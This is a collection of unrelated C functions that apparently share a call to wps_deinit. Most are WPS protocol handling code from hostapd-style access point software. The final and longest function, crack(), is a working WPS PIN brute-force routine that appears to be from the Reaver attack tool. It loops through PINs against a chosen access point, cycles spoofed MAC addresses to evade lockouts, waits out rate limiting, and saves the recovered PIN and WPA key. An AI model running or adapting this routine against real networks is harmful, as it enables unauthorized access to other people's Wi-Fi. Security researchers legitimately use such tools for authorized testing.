static enum http_reply_code web_process_get_device_info(struct upnp_wps_device_sm *sm, struct wpabuf **reply, const char **replyname) { static const char *name = "NewDeviceInfo"; struct wps_config cfg; struct upnp_wps_device_interface *iface; struct upnp_wps_peer *peer; iface = dl_list_first(&sm->interfaces, struct upnp_wps_device_interface, list); wpa_printf(MSG_DEBUG, "WPS UPnP: GetDeviceInfo"); if (!iface || iface->ctx->ap_pin == NULL) return HTTP_INTERNAL_SERVER_ERROR; peer = &iface->peer; /* * Request for DeviceInfo, i.e., M1 TLVs. This is a start of WPS * registration over UPnP with the AP acting as an Enrollee. It should * be noted that this is frequently used just to get the device data, * i.e., there may not be any intent to actually complete the * registration. */ if (peer->wps) wps_deinit(peer->wps); os_memset(&cfg, 0, sizeof(cfg)); cfg.wps = iface->wps; cfg.pin = (u8 *) iface->ctx->ap_pin; cfg.pin_len = os_strlen(iface->ctx->ap_pin); peer->wps = wps_init(&cfg); if (peer->wps) { enum wsc_op_code op_code; *reply = wps_get_msg(peer->wps, &op_code); if (*reply == NULL) { wps_deinit(peer->wps); peer->wps = NULL; } } else *reply = NULL; if (*reply == NULL) { wpa_printf(MSG_INFO, "WPS UPnP: Failed to get DeviceInfo"); return HTTP_INTERNAL_SERVER_ERROR; } *replyname = name; return HTTP_OK; }
static void wps_upnp_peer_del(struct upnp_wps_peer *peer) { dl_list_del(&peer->list); if (peer->wps) wps_deinit(peer->wps); os_free(peer); }
static void wps_er_sta_start(struct wps_er_sta *sta, struct wpabuf *msg) { struct wps_config cfg; if (sta->wps) wps_deinit(sta->wps); os_memset(&cfg, 0, sizeof(cfg)); cfg.wps = sta->ap->er->wps; cfg.registrar = 1; cfg.peer_addr = sta->addr; sta->wps = wps_init(&cfg); if (sta->wps == NULL) return; sta->wps->er = 1; sta->wps->use_cred = sta->ap->ap_settings; if (sta->ap->ap_settings) { os_free(sta->cred); sta->cred = os_malloc(sizeof(*sta->cred)); if (sta->cred) { os_memcpy(sta->cred, sta->ap->ap_settings, sizeof(*sta->cred)); sta->cred->cred_attr = NULL; os_memcpy(sta->cred->mac_addr, sta->addr, ETH_ALEN); sta->wps->use_cred = sta->cred; } } wps_er_sta_process(sta, msg, WSC_MSG); }
void globule_deinit() { int i = 0; if(globule) { for(i=0; i<P1_SIZE; i++) { if(globule->p1[i]) free(globule->p1[i]); } for(i=0; i<P2_SIZE; i++) { if(globule->p2[i]) free(globule->p2[i]); } if(globule->wps) wps_deinit(globule->wps); if(globule->handle) pcap_close(globule->handle); if(globule->pin) free(globule->pin); if(globule->iface) free(globule->iface); if(globule->ssid) free(globule->ssid); if(globule->session) free(globule->session); if(globule->static_p1) free(globule->static_p1); if(globule->static_p2) free(globule->static_p2); if(globule->fp) fclose(globule->fp); if(globule->exec_string) free(globule->exec_string); free(globule); } }
static void wps_er_http_put_message_cb(void *ctx, struct http_client *c, enum http_client_event event) { struct wps_er_ap *ap = ctx; struct wpabuf *reply; char *msg = NULL; switch (event) { case HTTP_CLIENT_OK: wpa_printf(MSG_DEBUG, "WPS ER: PutMessage OK"); reply = http_client_get_body(c); if (reply == NULL) break; msg = os_zalloc(wpabuf_len(reply) + 1); if (msg == NULL) break; os_memcpy(msg, wpabuf_head(reply), wpabuf_len(reply)); break; case HTTP_CLIENT_FAILED: case HTTP_CLIENT_INVALID_REPLY: case HTTP_CLIENT_TIMEOUT: wpa_printf(MSG_DEBUG, "WPS ER: PutMessage failed"); if (ap->wps) { wps_deinit(ap->wps); ap->wps = NULL; } break; } http_client_free(ap->http); ap->http = NULL; if (msg) { struct wpabuf *buf; enum http_reply_code ret; buf = xml_get_base64_item(msg, "NewOutMessage", &ret); os_free(msg); if (buf == NULL) { wpa_printf(MSG_DEBUG, "WPS ER: Could not extract " "NewOutMessage from PutMessage response"); wps_deinit(ap->wps); ap->wps = NULL; return; } wps_er_ap_process(ap, buf); wpabuf_free(buf); } }
static void eap_wsc_reset(struct eap_sm *sm, void *priv) { struct eap_wsc_data *data = priv; eloop_cancel_timeout(eap_wsc_ext_reg_timeout, sm, data); wpabuf_free(data->in_buf); wpabuf_free(data->out_buf); wps_deinit(data->wps); os_free(data); }
static void wps_er_ap_process(struct wps_er_ap *ap, struct wpabuf *msg) { enum wps_process_res res; struct wps_parse_attr attr; enum wsc_op_code op_code; op_code = WSC_MSG; if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type) { switch (*attr.msg_type) { case WPS_WSC_ACK: op_code = WSC_ACK; break; case WPS_WSC_NACK: op_code = WSC_NACK; break; case WPS_WSC_DONE: op_code = WSC_Done; break; } } res = wps_process_msg(ap->wps, op_code, msg); if (res == WPS_CONTINUE) { struct wpabuf *next = wps_get_msg(ap->wps, &op_code); if (next) { wps_er_ap_put_message(ap, next); wpabuf_free(next); } else { wpa_printf(MSG_DEBUG, "WPS ER: Failed to build " "message"); wps_deinit(ap->wps); ap->wps = NULL; } } else if (res == WPS_DONE) { wpa_printf(MSG_DEBUG, "WPS ER: Protocol run done"); wps_deinit(ap->wps); ap->wps = NULL; } else { wpa_printf(MSG_DEBUG, "WPS ER: Failed to process message from " "AP (res=%d)", res); wps_deinit(ap->wps); ap->wps = NULL; } }
static void eap_wsc_deinit(struct eap_sm *sm, void *priv) { struct eap_wsc_data *data = priv; wpabuf_free(data->in_buf); wpabuf_free(data->out_buf); wps_deinit(data->wps); os_free(data->wps_ctx->network_key); data->wps_ctx->network_key = NULL; os_free(data); }
void * wps_init(void *bcmwps, DevInfo *ap_devinfo) { WPSAPI_T *gp_mc; DevInfo *dev_info; gp_mc = (WPSAPI_T *)alloc_init(sizeof(*gp_mc)); if (!gp_mc) { TUTRACE((TUTRACE_INFO, "wps_init::malloc failed!\n")); return 0; } gp_mc->dev_info = devinfo_new(); if (gp_mc->dev_info == NULL) goto error; /* copy user provided DevInfo to mp_deviceInfo */ dev_info = gp_mc->dev_info; memcpy(dev_info, ap_devinfo, sizeof(DevInfo)); /* copy prebuild enrollee noce and private key */ if (dev_info->flags & DEVINFO_FLAG_PRE_PRIV_KEY) { if (reg_proto_generate_prebuild_dhkeypair( &dev_info->DHSecret, dev_info->pre_privkey) != WPS_SUCCESS) { TUTRACE((TUTRACE_ERR, "wps_init::prebuild_dhkeypair failed!\n")); goto error; } } else { if (reg_proto_generate_dhkeypair(&dev_info->DHSecret) != WPS_SUCCESS) { TUTRACE((TUTRACE_ERR, "wps_init::gen dhkeypair failed!\n")); goto error; } } gp_mc->mb_initialized = true; TUTRACE((TUTRACE_INFO, "wps_init::Done!\n")); /* Everything's initialized ok */ gp_mc->bcmwps = bcmwps; return (void *)gp_mc; error: TUTRACE((TUTRACE_ERR, "wps_init::Init failed\n")); if (gp_mc) { wps_deinit(gp_mc); } return 0; }
static struct wpabuf * hostapd_rx_req_get_device_info(void *priv, struct upnp_wps_peer *peer) { struct hostapd_data *hapd = priv; struct wps_config cfg; struct wps_data *wps; enum wsc_op_code op_code; struct wpabuf *m1; /* * Request for DeviceInfo, i.e., M1 TLVs. This is a start of WPS * registration over UPnP with the AP acting as an Enrollee. It should * be noted that this is frequently used just to get the device data, * i.e., there may not be any intent to actually complete the * registration. */ if (peer->wps) wps_deinit(peer->wps); os_memset(&cfg, 0, sizeof(cfg)); cfg.wps = hapd->wps; cfg.pin = (u8 *) hapd->conf->ap_pin; cfg.pin_len = os_strlen(hapd->conf->ap_pin); wps = wps_init(&cfg); if (wps == NULL) return NULL; m1 = wps_get_msg(wps, &op_code); if (m1 == NULL) { wps_deinit(wps); return NULL; } peer->wps = wps; return m1; }
static void wps_er_sta_free(struct wps_er_sta *sta) { wps_er_sta_event(sta->ap->er->wps, sta, WPS_EV_ER_ENROLLEE_REMOVE); if (sta->wps) wps_deinit(sta->wps); os_free(sta->manufacturer); os_free(sta->model_name); os_free(sta->model_number); os_free(sta->serial_number); os_free(sta->dev_name); http_client_free(sta->http); eloop_cancel_timeout(wps_er_sta_timeout, sta, NULL); os_free(sta->cred); os_free(sta); }
static void wps_er_ap_remove_entry(struct wps_er *er, struct wps_er_ap *ap) { wpa_printf(MSG_DEBUG, "WPS ER: Removing AP entry for %s (%s)", inet_ntoa(ap->addr), ap->location); eloop_cancel_timeout(wps_er_ap_timeout, er, ap); wps_er_sta_remove_all(ap); wps_er_ap_event(er->wps, ap, WPS_EV_ER_AP_REMOVE); http_client_free(ap->http); ap->http = NULL; if (ap->wps) { wps_deinit(ap->wps); ap->wps = NULL; } dl_list_del(&ap->list); if (ap->subscribed) { dl_list_add(&er->ap_unsubscribing, &ap->list); wps_er_ap_unsubscribe(er, ap); } else wps_er_ap_free(ap); }
static void wps_er_sta_process(struct wps_er_sta *sta, struct wpabuf *msg, enum wsc_op_code op_code) { enum wps_process_res res; res = wps_process_msg(sta->wps, op_code, msg); if (res == WPS_CONTINUE) { struct wpabuf *next = wps_get_msg(sta->wps, &op_code); if (next) wps_er_sta_send_msg(sta, next); } else { wpa_printf(MSG_DEBUG, "WPS ER: Protocol run %s with the " "enrollee (res=%d)", res == WPS_DONE ? "succeeded" : "failed", res); wps_deinit(sta->wps); sta->wps = NULL; if (res == WPS_DONE) { /* Remove the STA entry after short timeout */ eloop_cancel_timeout(wps_er_sta_timeout, sta, NULL); eloop_register_timeout(10, 0, wps_er_sta_timeout, sta, NULL); } } }
/* Brute force all possible WPS pins for a given access point */ void crack() { unsigned char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; /* MAC CHANGER VARIABLES */ int mac_changer_counter = 0; char mac[MAC_ADDR_LEN] = { 0 }; unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ"; unsigned char* new_mac = &mac_string[0]; char last_digit = '0'; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() != NULL) { generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL) { restore_session(); } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); process_auto_options(); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } //copy the current mac to the new_mac variable for mac changer if (get_mac_changer() == 1) { strncpy(new_mac, mac2str(get_mac(), ':'), 16); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { //MAC Changer switch/case to define the last mac address digit if (get_mac_changer() == 1) { switch (mac_changer_counter) { case 0: last_digit = '0'; break; case 1: last_digit = '1'; break; case 2: last_digit = '2'; break; case 3: last_digit = '3'; break; case 4: last_digit = '4'; break; case 5: last_digit = '5'; break; case 6: last_digit = '6'; break; case 7: last_digit = '7'; break; case 8: last_digit = '8'; break; case 9: last_digit = '9'; break; case 10: last_digit = 'A'; break; case 11: last_digit = 'B'; break; case 12: last_digit = 'C'; break; case 13: last_digit = 'D'; break; case 14: last_digit = 'E'; break; case 15: last_digit = 'F'; mac_changer_counter = -1; break; } mac_changer_counter++; new_mac[16] = last_digit; //transform the string to a MAC and define the MAC str2mac((unsigned char *) new_mac, (unsigned char *) &mac); set_mac((unsigned char *) &mac); cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':')); } /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ while(get_ignore_locks() == 0 && is_wps_locked()) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin %s\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { set_pin(pin); } free(pin); pin = NULL; /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } else { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); } }